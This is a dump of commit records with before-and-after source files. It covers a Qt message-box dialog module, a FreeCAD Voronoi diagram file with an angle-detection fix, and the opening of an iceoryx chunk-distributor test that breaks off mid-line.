mbinfo(\"dir needs title and directory\");\n title=arg.at(0);\n dir=arg.at(1);\n return QFileDialog::getExistingDirectory(\n QApplication::focusWidget(),title,dir);\n}\n\n\/\/ ---------------------------------------------------------------------\nQString mbfont()\n{\n bool ok;\n QFont font, def;\n QString s;\n if (arg.size())\n def.setFamily(arg.at(0));\n if (arg.size()>1)\n def.setPointSize(arg.at(1).toInt());\n for (int i=2; i<arg.size(); i++) {\n s=arg.at(i);\n if (s==\"bold\")\n def.setBold(true);\n if (s==\"italic\")\n def.setItalic(true);\n if (s==\"strikeout\")\n def.setStrikeOut(true);\n if (s==\"underline\")\n def.setUnderline(true);\n }\n font=QFontDialog::getFont(&ok,def,QApplication::focusWidget());\n if (!ok) return \"\";\n QString r;\n r=\"\\\"\" + font.family() + \"\\\" \" + QString::number(font.pointSize());\n if (font.bold()) r+=\" bold\";\n if (font.italic()) r+=\" italic\";\n if (font.strikeOut()) r+=\" strikeout\";\n if (font.underline()) r+=\" underline\";\n return r;\n}\n\n\/\/ ---------------------------------------------------------------------\nQString mbopen()\n{\n QString title,dir,filter;\n if (arg.size()<2)\n return mbinfo(\"open needs title, directory, [filters]\");\n title=arg.at(0);\n dir=arg.at(1);\n if (arg.size()==3)\n filter=arg.at(2);\n return QFileDialog::getOpenFileName(\n QApplication::focusWidget(),title,dir,filter);\n}\n\n\/\/ ---------------------------------------------------------------------\nQString mbsave()\n{\n QString title,dir,filter;\n if (arg.size()<2)\n return mbinfo(\"save needs title, directory, [filters]\");\n title=arg.at(0);\n dir=arg.at(1);\n if (arg.size()==3)\n filter=arg.at(2);\n return QFileDialog::getSaveFileName(\n QApplication::focusWidget(),title,dir,filter);\n}\n\n\/\/ ---------------------------------------------------------------------\nQString getname(int b)\n{\n if (b==QMessageBox::Ok)\n return \"ok\";\n if (b==QMessageBox::Cancel)\n return \"cancel\";\n if (b==QMessageBox::Yes)\n return \"yes\";\n if (b==QMessageBox::No)\n return \"no\";\n if (b==QMessageBox::Save)\n return \"save\";\n if (b==QMessageBox::Discard)\n return \"discard\";\n return \"unknown button\";\n}\n\n\/\/ ---------------------------------------------------------------------\nQMessageBox::StandardButton getonebutton()\n{\n if (arg.isEmpty()) return QMessageBox::NoButton;\n QString s=arg.first();\n if (s==\"mb_ok\")\n return QMessageBox::Ok;\n if (s==\"mb_cancel\")\n return QMessageBox::Cancel;\n if (s==\"mb_yes\")\n return QMessageBox::Yes;\n if (s==\"mb_no\")\n return QMessageBox::No;\n if (s==\"mb_save\")\n return QMessageBox::Save;\n if (s==\"mb_discard\")\n return QMessageBox::Discard;\n return QMessageBox::NoButton;\n}\n\n\/\/ ---------------------------------------------------------------------\nQMessageBox::StandardButton getdefaultbutton()\n{\n QMessageBox::StandardButton r=getonebutton();\n if (r!=QMessageBox::NoButton)\n arg.removeFirst();\n return r;\n}\n\n\/\/ ---------------------------------------------------------------------\nQMessageBox::StandardButtons getotherbuttons()\n{\n QMessageBox::StandardButtons r=QMessageBox::NoButton;\n QMessageBox::StandardButton b;\n while (arg.size()) {\n b=getonebutton();\n if (b==QMessageBox::NoButton)\n return r;\n r|=b;\n arg.removeFirst();\n }\n return r;\n}\n\n\/\/ ---------------------------------------------------------------------\nQString mbinfo(QString s)\n{\n info(\"Message Box\",s);\n return \"\";\n}\n<commit_msg>mbfont without inital fontspec<commit_after>\n\/\/ the syntax for messages is:\n\/\/ wd 'mb type buttons title message'\n\/\/\n\/\/ type specifies the icon and default behaviour:\n\/\/ info (default OK button)\n\/\/ warn (default OK button)\n\/\/ critical (default OK button)\n\/\/ query (requires two or three buttons)\n\/\/\n\/\/ if one button, there is no result,\n\/\/ otherwise the result is the button name (ok, cancel, ...)\n\/\/\n\/\/ buttons are from the set:\n\/\/ mb_ok\n\/\/ mb_cancel\n\/\/ mb_yes\n\/\/ mb_no\n\/\/ mb_save\n\/\/ mb_discard\n\n#include <QApplication>\n#include <QColorDialog>\n#include <QFileDialog>\n#include <QFontDialog>\n#include <QMessageBox>\n\n#include \"wd.h\"\n#include \"cmd.h\"\n\nQString mbcolor();\nQString mbdir();\nQString mbfont();\nQString mbinfo(QString);\nQString mbmsg();\nQString mbopen();\nQString mbsave();\n\nQString type;\nQStringList arg;\n\nQMessageBox::StandardButton getdefaultbutton();\nQMessageBox::StandardButton getonebutton();\nQMessageBox::StandardButtons getotherbuttons();\nQString getname(int);\n\n\/\/ ---------------------------------------------------------------------\nQString mb(string p)\n{\n arg=qsplit(p);\n if (arg.size()<1) return mbinfo(\"missing mb type\");\n\n type=arg.first();\n arg.removeFirst();\n if (type==\"color\")\n return mbcolor();\n if (type==\"dir\")\n return mbdir();\n if (type==\"font\")\n return mbfont();\n if (type==\"open\")\n return mbopen();\n if (type==\"save\")\n return mbsave();\n if (type==\"info\"||type==\"query\"||type==\"warn\"||type==\"critical\")\n return mbmsg();\n return mbinfo(\"invalid mb type: \" + type);\n}\n\n\/\/ ---------------------------------------------------------------------\nQString mbmsg()\n{\n int r;\n QString t,m;\n\n QMessageBox::StandardButton button1=getdefaultbutton();\n QMessageBox::StandardButtons buttons=getotherbuttons();\n\n if (arg.size()==1) {\n t=\"Message Box\";\n m=arg.at(0);\n } else if (arg.size()==2) {\n t=arg.at(0);\n m=arg.at(1);\n } else {\n return mbinfo (\"Need title and message: \"+arg.join(\" \"));\n }\n\n if (button1==-1) {\n button1=QMessageBox::Ok;\n if (type==\"query\")\n buttons=QMessageBox::Cancel;\n }\n buttons|=button1;\n\n if (type==\"query\") {\n r=QMessageBox::question(QApplication::focusWidget(),t,m,buttons,button1);\n return getname(r);\n }\n if (type==\"critical\")\n QMessageBox::critical(QApplication::focusWidget(),t,m,buttons,button1);\n else if (type==\"info\")\n QMessageBox::information(QApplication::focusWidget(),t,m,buttons,button1);\n else if (type==\"warn\")\n QMessageBox::warning(QApplication::focusWidget(),t,m,buttons,button1);\n return \"\";\n}\n\n\/\/ ---------------------------------------------------------------------\nQString mbcolor()\n{\n QColor c;\n int r,g,b;\n\n if (arg.size()==3) {\n r=arg.at(0).toInt();\n g=arg.at(1).toInt();\n b=arg.at(2).toInt();\n c=QColor(r,g,b);\n } else\n c=Qt::white;\n c=QColorDialog::getColor(c,QApplication::focusWidget());\n if (!c.isValid()) return \"\";\n return s2q(i2s(c.red()) + \" \" + i2s(c.green()) + \" \" + i2s(c.blue()));\n}\n\n\/\/ ---------------------------------------------------------------------\nQString mbdir()\n{\n QString title,dir;\n if (arg.size()!=2)\n return mbinfo(\"dir needs title and directory\");\n title=arg.at(0);\n dir=arg.at(1);\n return QFileDialog::getExistingDirectory(\n QApplication::focusWidget(),title,dir);\n}\n\n\/\/ ---------------------------------------------------------------------\nQString mbfont()\n{\n bool ok;\n QFont font, def;\n QString s;\n def.setStrikeOut(false);\n def.setUnderline(false);\n if (arg.size())\n def.setFamily(arg.at(0));\n if (arg.size()>1)\n def.setPointSize(arg.at(1).toInt());\n for (int i=2; i<arg.size(); i++) {\n s=arg.at(i);\n if (s==\"bold\")\n def.setBold(true);\n if (s==\"italic\")\n def.setItalic(true);\n if (s==\"strikeout\")\n def.setStrikeOut(true);\n if (s==\"underline\")\n def.setUnderline(true);\n }\n font=QFontDialog::getFont(&ok,def,QApplication::focusWidget());\n if (!ok) return \"\";\n QString r;\n r=\"\\\"\" + font.family() + \"\\\" \" + QString::number(font.pointSize());\n if (font.bold()) r+=\" bold\";\n if (font.italic()) r+=\" italic\";\n if (font.strikeOut()) r+=\" strikeout\";\n if (font.underline()) r+=\" underline\";\n return r;\n}\n\n\/\/ ---------------------------------------------------------------------\nQString mbopen()\n{\n QString title,dir,filter;\n if (arg.size()<2)\n return mbinfo(\"open needs title, directory, [filters]\");\n title=arg.at(0);\n dir=arg.at(1);\n if (arg.size()==3)\n filter=arg.at(2);\n return QFileDialog::getOpenFileName(\n QApplication::focusWidget(),title,dir,filter);\n}\n\n\/\/ ---------------------------------------------------------------------\nQString mbsave()\n{\n QString title,dir,filter;\n if (arg.size()<2)\n return mbinfo(\"save needs title, directory, [filters]\");\n title=arg.at(0);\n dir=arg.at(1);\n if (arg.size()==3)\n filter=arg.at(2);\n return QFileDialog::getSaveFileName(\n QApplication::focusWidget(),title,dir,filter);\n}\n\n\/\/ ---------------------------------------------------------------------\nQString getname(int b)\n{\n if (b==QMessageBox::Ok)\n return \"ok\";\n if (b==QMessageBox::Cancel)\n return \"cancel\";\n if (b==QMessageBox::Yes)\n return \"yes\";\n if (b==QMessageBox::No)\n return \"no\";\n if (b==QMessageBox::Save)\n return \"save\";\n if (b==QMessageBox::Discard)\n return \"discard\";\n return \"unknown button\";\n}\n\n\/\/ ---------------------------------------------------------------------\nQMessageBox::StandardButton getonebutton()\n{\n if (arg.isEmpty()) return QMessageBox::NoButton;\n QString s=arg.first();\n if (s==\"mb_ok\")\n return QMessageBox::Ok;\n if (s==\"mb_cancel\")\n return QMessageBox::Cancel;\n if (s==\"mb_yes\")\n return QMessageBox::Yes;\n if (s==\"mb_no\")\n return QMessageBox::No;\n if (s==\"mb_save\")\n return QMessageBox::Save;\n if (s==\"mb_discard\")\n return QMessageBox::Discard;\n return QMessageBox::NoButton;\n}\n\n\/\/ ---------------------------------------------------------------------\nQMessageBox::StandardButton getdefaultbutton()\n{\n QMessageBox::StandardButton r=getonebutton();\n if (r!=QMessageBox::NoButton)\n arg.removeFirst();\n return r;\n}\n\n\/\/ ---------------------------------------------------------------------\nQMessageBox::StandardButtons getotherbuttons()\n{\n QMessageBox::StandardButtons r=QMessageBox::NoButton;\n QMessageBox::StandardButton b;\n while (arg.size()) {\n b=getonebutton();\n if (b==QMessageBox::NoButton)\n return r;\n r|=b;\n arg.removeFirst();\n }\n return r;\n}\n\n\/\/ ---------------------------------------------------------------------\nQString mbinfo(QString s)\n{\n info(\"Message Box\",s);\n return \"\";\n}\n<|endoftext|>"} {"text":"<commit_before>\/***************************************************************************\n * Copyright (c) 2020 sliptonic <shopinthewoods@gmail.com> *\n * *\n * This file is part of the FreeCAD CAx development system. *\n * *\n * This library is free software; you can redistribute it and\/or *\n * modify it under the terms of the GNU Library General Public *\n * License as published by the Free Software Foundation; either *\n * version 2 of the License, or (at your option) any later version. *\n * *\n * This library is distributed in the hope that it will be useful, *\n * but WITHOUT ANY WARRANTY; without even the implied warranty of *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the *\n * GNU Library General Public License for more details. *\n * *\n * You should have received a copy of the GNU Library General Public *\n * License along with this library; see the file COPYING.LIB. If not, *\n * write to the Free Software Foundation, Inc., 59 Temple Place, *\n * Suite 330, Boston, MA 02111-1307, USA *\n * *\n ***************************************************************************\/\n\n\n#include \"PreCompiled.h\"\n\n#ifndef _PreComp_\n# include <Standard_math.hxx>\n# include <cinttypes>\n# include <iomanip>\n# include <boost\/algorithm\/string.hpp>\n# include <boost\/lexical_cast.hpp>\n#endif\n\n#include <Base\/Vector3D.h>\n#include <Base\/Writer.h>\n#include <Base\/Reader.h>\n#include <Base\/Exception.h>\n#include \"Voronoi.h\"\n\nusing namespace Base;\nusing namespace Path;\n\nTYPESYSTEM_SOURCE(Path::Voronoi , Base::BaseClass)\n\n\/\/ Helpers\n\n\/\/ Voronoi::diagram_type\n\nVoronoi::diagram_type::diagram_type()\n :scale(1000)\n{\n}\n\ndouble Voronoi::diagram_type::getScale() const {\n return scale;\n}\n\nvoid Voronoi::diagram_type::setScale(double s) {\n scale = s;\n}\n\nBase::Vector3d Voronoi::diagram_type::scaledVector(double x, double y, double z) const {\n return Base::Vector3d(x \/ scale, y \/ scale, z);\n}\n\nBase::Vector3d Voronoi::diagram_type::scaledVector(const point_type &p, double z) const {\n return scaledVector(p.x(), p.y(), z);\n}\n\nBase::Vector3d Voronoi::diagram_type::scaledVector(const vertex_type &v, double z) const {\n return scaledVector(v.x(), v.y(), z);\n}\n\n\nint Voronoi::diagram_type::index(const Voronoi::diagram_type::cell_type *cell) const {\n auto it = cell_index.find(intptr_t(cell));\n if (it == cell_index.end()) {\n return Voronoi::InvalidIndex;\n }\n return it->second;\n}\nint Voronoi::diagram_type::index(const Voronoi::diagram_type::edge_type *edge) const {\n auto it = edge_index.find(intptr_t(edge));\n if (it == edge_index.end()) {\n return Voronoi::InvalidIndex;\n }\n return it->second;\n}\nint Voronoi::diagram_type::index(const Voronoi::diagram_type::vertex_type *vertex) const {\n auto it = vertex_index.find(intptr_t(vertex));\n if (it == vertex_index.end()) {\n return Voronoi::InvalidIndex;\n }\n return it->second;\n}\n\nvoid Voronoi::diagram_type::reIndex() {\n int idx = 0;\n cell_index.clear();\n edge_index.clear();\n vertex_index.clear();\n\n idx = 0;\n for (auto it = cells().begin(); it != cells().end(); ++it, ++idx) {\n cell_index[intptr_t(&(*it))] = idx;\n }\n idx = 0;\n for (auto it = edges().begin(); it != edges().end(); ++it, ++idx) {\n edge_index[intptr_t(&(*it))] = idx;\n }\n idx = 0;\n for (auto it = vertices().begin(); it != vertices().end(); ++it, ++idx) {\n vertex_index[intptr_t(&(*it))] = idx;\n }\n}\n\nVoronoi::point_type Voronoi::diagram_type::retrievePoint(const Voronoi::diagram_type::cell_type *cell) const {\n Voronoi::diagram_type::cell_type::source_index_type index = cell->source_index();\n Voronoi::diagram_type::cell_type::source_category_type category = cell->source_category();\n if (category == boost::polygon::SOURCE_CATEGORY_SINGLE_POINT) {\n return points[index];\n }\n index -= points.size();\n if (category == boost::polygon::SOURCE_CATEGORY_SEGMENT_START_POINT) {\n return low(segments[index]);\n } else {\n return high(segments[index]);\n }\n}\n\nVoronoi::segment_type Voronoi::diagram_type::retrieveSegment(const Voronoi::diagram_type::cell_type *cell) const {\n Voronoi::diagram_type::cell_type::source_index_type index = cell->source_index() - points.size();\n return segments[index];\n}\n\n\n\/\/ Voronoi\n\nVoronoi::Voronoi()\n :vd(new diagram_type)\n{\n}\n\nVoronoi::~Voronoi()\n{\n}\n\n\nvoid Voronoi::addPoint(const Voronoi::point_type &p) {\n Voronoi::point_type pi;\n pi.x(p.x() * vd->getScale());\n pi.y(p.y() * vd->getScale());\n vd->points.push_back(pi);\n}\n\nvoid Voronoi::addSegment(const Voronoi::segment_type &s) {\n Voronoi::point_type pil, pih;\n pil.x(low(s).x() * vd->getScale());\n pil.y(low(s).y() * vd->getScale());\n pih.x(high(s).x() * vd->getScale());\n pih.y(high(s).y() * vd->getScale());\n vd->segments.push_back(segment_type(pil, pih));\n}\n\nlong Voronoi::numPoints() const {\n return vd->points.size();\n}\n\nlong Voronoi::numSegments() const {\n return vd->segments.size();\n}\n\n\nlong Voronoi::numCells() const {\n return vd->num_cells();\n}\n\nlong Voronoi::numEdges() const {\n return vd->num_edges();\n}\n\nlong Voronoi::numVertices() const {\n return vd->num_vertices();\n}\n\nvoid Voronoi::construct()\n{\n vd->clear();\n construct_voronoi(vd->points.begin(), vd->points.end(), vd->segments.begin(), vd->segments.end(), (voronoi_diagram_type*)vd);\n vd->reIndex();\n}\n\nvoid Voronoi::colorExterior(const Voronoi::diagram_type::edge_type *edge, std::size_t colorValue) {\n if (edge->color()) {\n \/\/ end recursion\n return;\n }\n edge->color(colorValue);\n edge->twin()->color(colorValue);\n auto v = edge->vertex1();\n if (v == NULL || !edge->is_primary()) {\n return;\n }\n v->color(colorValue);\n auto e = v->incident_edge();\n do {\n colorExterior(e, colorValue);\n e = e->rot_next();\n } while (e != v->incident_edge());\n}\n\nvoid Voronoi::colorExterior(Voronoi::color_type color) {\n for (diagram_type::const_edge_iterator it = vd->edges().begin(); it != vd->edges().end(); ++it) {\n if (it->is_infinite()) {\n colorExterior(&(*it), color);\n }\n }\n}\n\nvoid Voronoi::colorTwins(Voronoi::color_type color) {\n for (diagram_type::const_edge_iterator it = vd->edges().begin(); it != vd->edges().end(); ++it) {\n if (!it->color()) {\n auto twin = it->twin();\n if (!twin->color()) {\n twin->color(color);\n }\n }\n }\n}\n\ndouble Voronoi::diagram_type::angleOfSegment(int i, Voronoi::diagram_type::angle_map_t *angle) const {\n Voronoi::diagram_type::angle_map_t::const_iterator a = angle ? angle->find(i) : Voronoi::diagram_type::angle_map_t::const_iterator();\n if (!angle || a == angle->end()) {\n Voronoi::point_type p0 = low(segments[i]);\n Voronoi::point_type p1 = high(segments[i]);\n double ang = 0;\n if (p0.x() == p1.x()) {\n if ((p0.y() > 0 && p1.y() > 0) || (p0.y() > 0 && p1.y() > 0)) {\n ang = M_PI_2;\n } else {\n ang = -M_PI_2;\n }\n } else {\n ang = atan((p0.y() - p1.y()) \/ (p0.x() - p1.x()));\n }\n if (angle) {\n angle->insert(angle_map_t::value_type(i, ang));\n }\n return ang;\n }\n return a->second;\n}\n\nstatic bool pointsMatch(const Voronoi::point_type &p0, const Voronoi::point_type &p1) {\n return long(p0.x()) == long(p1.x()) && long(p0.y()) == long(p1.y());\n}\n\nbool Voronoi::diagram_type::segmentsAreConnected(int i, int j) const {\n return\n pointsMatch(low(segments[i]), low(segments[j]))\n || pointsMatch(low(segments[i]), high(segments[j]))\n || pointsMatch(high(segments[i]), low(segments[j]))\n || pointsMatch(high(segments[i]), high(segments[j]));\n}\n\nvoid Voronoi::colorColinear(Voronoi::color_type color, double degree) {\n double rad = degree * M_PI \/ 180;\n\n Voronoi::diagram_type::angle_map_t angle;\n int psize = vd->points.size();\n\n for (diagram_type::const_edge_iterator it = vd->edges().begin(); it != vd->edges().end(); ++it) {\n int i0 = it->cell()->source_index() - psize;\n int i1 = it->twin()->cell()->source_index() - psize;\n if (it->color() == 0\n && it->cell()->contains_segment()\n && it->twin()->cell()->contains_segment()\n && vd->segmentsAreConnected(i0, i1)) {\n double a0 = vd->angleOfSegment(i0, &angle);\n double a1 = vd->angleOfSegment(i1, &angle);\n double a = a0 - a1;\n if (a > M_PI_2) {\n a -= M_PI;\n } else if (a < -M_PI_2) {\n a += M_PI;\n }\n if (fabs(a) < rad) {\n it->color(color);\n it->twin()->color(color);\n }\n }\n }\n}\n\nvoid Voronoi::resetColor(Voronoi::color_type color) {\n for (auto it = vd->cells().begin(); it != vd->cells().end(); ++it) {\n if (color == 0 || it->color() == color) {\n it->color(0);\n }\n }\n for (auto it = vd->edges().begin(); it != vd->edges().end(); ++it) {\n if (it->color() == color) {\n it->color(0);\n }\n }\n for (auto it = vd->vertices().begin(); it != vd->vertices().end(); ++it) {\n if (it->color() == color) {\n it->color(0);\n }\n }\n}\n<commit_msg>Fixed angle detection<commit_after>\/***************************************************************************\n * Copyright (c) 2020 sliptonic <shopinthewoods@gmail.com> *\n * *\n * This file is part of the FreeCAD CAx development system. *\n * *\n * This library is free software; you can redistribute it and\/or *\n * modify it under the terms of the GNU Library General Public *\n * License as published by the Free Software Foundation; either *\n * version 2 of the License, or (at your option) any later version. *\n * *\n * This library is distributed in the hope that it will be useful, *\n * but WITHOUT ANY WARRANTY; without even the implied warranty of *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the *\n * GNU Library General Public License for more details. *\n * *\n * You should have received a copy of the GNU Library General Public *\n * License along with this library; see the file COPYING.LIB. If not, *\n * write to the Free Software Foundation, Inc., 59 Temple Place, *\n * Suite 330, Boston, MA 02111-1307, USA *\n * *\n ***************************************************************************\/\n\n\n#include \"PreCompiled.h\"\n\n#ifndef _PreComp_\n# include <Standard_math.hxx>\n# include <cinttypes>\n# include <iomanip>\n# include <boost\/algorithm\/string.hpp>\n# include <boost\/lexical_cast.hpp>\n#endif\n\n#include <Base\/Vector3D.h>\n#include <Base\/Writer.h>\n#include <Base\/Reader.h>\n#include <Base\/Exception.h>\n#include \"Voronoi.h\"\n\nusing namespace Base;\nusing namespace Path;\n\nTYPESYSTEM_SOURCE(Path::Voronoi , Base::BaseClass)\n\n\/\/ Helpers\n\n\/\/ Voronoi::diagram_type\n\nVoronoi::diagram_type::diagram_type()\n :scale(1000)\n{\n}\n\ndouble Voronoi::diagram_type::getScale() const {\n return scale;\n}\n\nvoid Voronoi::diagram_type::setScale(double s) {\n scale = s;\n}\n\nBase::Vector3d Voronoi::diagram_type::scaledVector(double x, double y, double z) const {\n return Base::Vector3d(x \/ scale, y \/ scale, z);\n}\n\nBase::Vector3d Voronoi::diagram_type::scaledVector(const point_type &p, double z) const {\n return scaledVector(p.x(), p.y(), z);\n}\n\nBase::Vector3d Voronoi::diagram_type::scaledVector(const vertex_type &v, double z) const {\n return scaledVector(v.x(), v.y(), z);\n}\n\n\nint Voronoi::diagram_type::index(const Voronoi::diagram_type::cell_type *cell) const {\n auto it = cell_index.find(intptr_t(cell));\n if (it == cell_index.end()) {\n return Voronoi::InvalidIndex;\n }\n return it->second;\n}\nint Voronoi::diagram_type::index(const Voronoi::diagram_type::edge_type *edge) const {\n auto it = edge_index.find(intptr_t(edge));\n if (it == edge_index.end()) {\n return Voronoi::InvalidIndex;\n }\n return it->second;\n}\nint Voronoi::diagram_type::index(const Voronoi::diagram_type::vertex_type *vertex) const {\n auto it = vertex_index.find(intptr_t(vertex));\n if (it == vertex_index.end()) {\n return Voronoi::InvalidIndex;\n }\n return it->second;\n}\n\nvoid Voronoi::diagram_type::reIndex() {\n int idx = 0;\n cell_index.clear();\n edge_index.clear();\n vertex_index.clear();\n\n idx = 0;\n for (auto it = cells().begin(); it != cells().end(); ++it, ++idx) {\n cell_index[intptr_t(&(*it))] = idx;\n }\n idx = 0;\n for (auto it = edges().begin(); it != edges().end(); ++it, ++idx) {\n edge_index[intptr_t(&(*it))] = idx;\n }\n idx = 0;\n for (auto it = vertices().begin(); it != vertices().end(); ++it, ++idx) {\n vertex_index[intptr_t(&(*it))] = idx;\n }\n}\n\nVoronoi::point_type Voronoi::diagram_type::retrievePoint(const Voronoi::diagram_type::cell_type *cell) const {\n Voronoi::diagram_type::cell_type::source_index_type index = cell->source_index();\n Voronoi::diagram_type::cell_type::source_category_type category = cell->source_category();\n if (category == boost::polygon::SOURCE_CATEGORY_SINGLE_POINT) {\n return points[index];\n }\n index -= points.size();\n if (category == boost::polygon::SOURCE_CATEGORY_SEGMENT_START_POINT) {\n return low(segments[index]);\n } else {\n return high(segments[index]);\n }\n}\n\nVoronoi::segment_type Voronoi::diagram_type::retrieveSegment(const Voronoi::diagram_type::cell_type *cell) const {\n Voronoi::diagram_type::cell_type::source_index_type index = cell->source_index() - points.size();\n return segments[index];\n}\n\n\n\/\/ Voronoi\n\nVoronoi::Voronoi()\n :vd(new diagram_type)\n{\n}\n\nVoronoi::~Voronoi()\n{\n}\n\n\nvoid Voronoi::addPoint(const Voronoi::point_type &p) {\n Voronoi::point_type pi;\n pi.x(p.x() * vd->getScale());\n pi.y(p.y() * vd->getScale());\n vd->points.push_back(pi);\n}\n\nvoid Voronoi::addSegment(const Voronoi::segment_type &s) {\n Voronoi::point_type pil, pih;\n pil.x(low(s).x() * vd->getScale());\n pil.y(low(s).y() * vd->getScale());\n pih.x(high(s).x() * vd->getScale());\n pih.y(high(s).y() * vd->getScale());\n vd->segments.push_back(segment_type(pil, pih));\n}\n\nlong Voronoi::numPoints() const {\n return vd->points.size();\n}\n\nlong Voronoi::numSegments() const {\n return vd->segments.size();\n}\n\n\nlong Voronoi::numCells() const {\n return vd->num_cells();\n}\n\nlong Voronoi::numEdges() const {\n return vd->num_edges();\n}\n\nlong Voronoi::numVertices() const {\n return vd->num_vertices();\n}\n\nvoid Voronoi::construct()\n{\n vd->clear();\n construct_voronoi(vd->points.begin(), vd->points.end(), vd->segments.begin(), vd->segments.end(), (voronoi_diagram_type*)vd);\n vd->reIndex();\n}\n\nvoid Voronoi::colorExterior(const Voronoi::diagram_type::edge_type *edge, std::size_t colorValue) {\n if (edge->color()) {\n \/\/ end recursion\n return;\n }\n edge->color(colorValue);\n edge->twin()->color(colorValue);\n auto v = edge->vertex1();\n if (v == NULL || !edge->is_primary()) {\n return;\n }\n v->color(colorValue);\n auto e = v->incident_edge();\n do {\n colorExterior(e, colorValue);\n e = e->rot_next();\n } while (e != v->incident_edge());\n}\n\nvoid Voronoi::colorExterior(Voronoi::color_type color) {\n for (diagram_type::const_edge_iterator it = vd->edges().begin(); it != vd->edges().end(); ++it) {\n if (it->is_infinite()) {\n colorExterior(&(*it), color);\n }\n }\n}\n\nvoid Voronoi::colorTwins(Voronoi::color_type color) {\n for (diagram_type::const_edge_iterator it = vd->edges().begin(); it != vd->edges().end(); ++it) {\n if (!it->color()) {\n auto twin = it->twin();\n if (!twin->color()) {\n twin->color(color);\n }\n }\n }\n}\n\ndouble Voronoi::diagram_type::angleOfSegment(int i, Voronoi::diagram_type::angle_map_t *angle) const {\n Voronoi::diagram_type::angle_map_t::const_iterator a = angle ? angle->find(i) : Voronoi::diagram_type::angle_map_t::const_iterator();\n if (!angle || a == angle->end()) {\n Voronoi::point_type p0 = low(segments[i]);\n Voronoi::point_type p1 = high(segments[i]);\n double ang = 0;\n if (p0.x() == p1.x()) {\n if (p0.y() < p1.y()) {\n ang = M_PI_2;\n } else {\n ang = -M_PI_2;\n }\n } else {\n ang = atan((p0.y() - p1.y()) \/ (p0.x() - p1.x()));\n }\n if (angle) {\n angle->insert(angle_map_t::value_type(i, ang));\n }\n return ang;\n }\n return a->second;\n}\n\nstatic bool pointsMatch(const Voronoi::point_type &p0, const Voronoi::point_type &p1) {\n return long(p0.x()) == long(p1.x()) && long(p0.y()) == long(p1.y());\n}\n\nbool Voronoi::diagram_type::segmentsAreConnected(int i, int j) const {\n return\n pointsMatch(low(segments[i]), low(segments[j]))\n || pointsMatch(low(segments[i]), high(segments[j]))\n || pointsMatch(high(segments[i]), low(segments[j]))\n || pointsMatch(high(segments[i]), high(segments[j]));\n}\n\nvoid Voronoi::colorColinear(Voronoi::color_type color, double degree) {\n double rad = degree * M_PI \/ 180;\n\n Voronoi::diagram_type::angle_map_t angle;\n int psize = vd->points.size();\n\n for (diagram_type::const_edge_iterator it = vd->edges().begin(); it != vd->edges().end(); ++it) {\n int i0 = it->cell()->source_index() - psize;\n int i1 = it->twin()->cell()->source_index() - psize;\n if (it->color() == 0\n && it->cell()->contains_segment()\n && it->twin()->cell()->contains_segment()\n && vd->segmentsAreConnected(i0, i1)) {\n double a0 = vd->angleOfSegment(i0, &angle);\n double a1 = vd->angleOfSegment(i1, &angle);\n double a = a0 - a1;\n if (a > M_PI_2) {\n a -= M_PI;\n } else if (a < -M_PI_2) {\n a += M_PI;\n }\n if (fabs(a) < rad) {\n it->color(color);\n it->twin()->color(color);\n }\n }\n }\n}\n\nvoid Voronoi::resetColor(Voronoi::color_type color) {\n for (auto it = vd->cells().begin(); it != vd->cells().end(); ++it) {\n if (color == 0 || it->color() == color) {\n it->color(0);\n }\n }\n for (auto it = vd->edges().begin(); it != vd->edges().end(); ++it) {\n if (it->color() == color) {\n it->color(0);\n }\n }\n for (auto it = vd->vertices().begin(); it != vd->vertices().end(); ++it) {\n if (it->color() == color) {\n it->color(0);\n }\n }\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2020 by Robert Bosch GmbH. All rights reserved.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#include \"iceoryx_posh\/internal\/popo\/building_blocks\/chunk_distributor.hpp\"\n#include \"iceoryx_posh\/internal\/popo\/building_blocks\/chunk_receiver.hpp\"\n#include \"iceoryx_posh\/internal\/popo\/building_blocks\/chunk_sender.hpp\"\n#include \"iceoryx_posh\/internal\/popo\/building_blocks\/locking_policy.hpp\"\n#include \"iceoryx_posh\/internal\/popo\/ports\/base_port.hpp\"\n#include \"iceoryx_posh\/mepoo\/mepoo_config.hpp\"\n#include \"iceoryx_utils\/cxx\/generic_raii.hpp\"\n\n#include \"test.hpp\"\n\n#include <chrono>\n#include <stdlib.h>\n#include <thread>\n\nusing namespace ::testing;\nusing namespace iox::popo;\nusing namespace iox::cxx;\nusing namespace iox::mepoo;\nusing namespace iox::posix;\nusing ::testing::Return;\n\nstruct DummySample\n{\n uint64_t m_dummy{42};\n};\n\nstatic constexpr uint32_t NUM_CHUNKS_IN_POOL = 3 * iox::MAX_SUBSCRIBER_QUEUE_CAPACITY;\nstatic constexpr uint32_t SMALL_CHUNK = 128;\nstatic constexpr uint32_t CHUNK_META_INFO_SIZE = 256;\nstatic constexpr size_t MEMORY_SIZE = NUM_CHUNKS_IN_POOL * (SMALL_CHUNK + CHUNK_META_INFO_SIZE);\nalignas(64) static uint8_t g_memory[MEMORY_SIZE];\nstatic constexpr uint32_t ITERATIONS = 10000;\nstatic constexpr uint32_t MAX_NUMBER_QUEUES = 128;\n\nstruct ChunkDistributorConfig\n{\n static constexpr uint32_t MAX_QUEUES = MAX_NUMBER_QUEUES;\n static constexpr uint64_t MAX_HISTORY_CAPACITY = iox::MAX_PUBLISHER_HISTORY;\n};\n\nstruct ChunkQueueConfig\n{\n static constexpr uint64_t MAX_QUEUE_CAPACITY = iox::MAX_SUBSCRIBER_QUEUE_CAPACITY;\n};\n\nusing ChunkQueueData_t = ChunkQueueData<ChunkQueueConfig, ThreadSafePolicy>;\nusing ChunkDistributorData_t =\n ChunkDistributorData<ChunkDistributorConfig, ThreadSafePolicy, ChunkQueuePusher<ChunkQueueData_t>>;\nusing ChunkDistributor_t = ChunkDistributor<ChunkDistributorData_t>;\nusing ChunkQueuePopper_t = ChunkQueuePopper<ChunkQueueData_t>;\nusing ChunkSenderData_t =\n 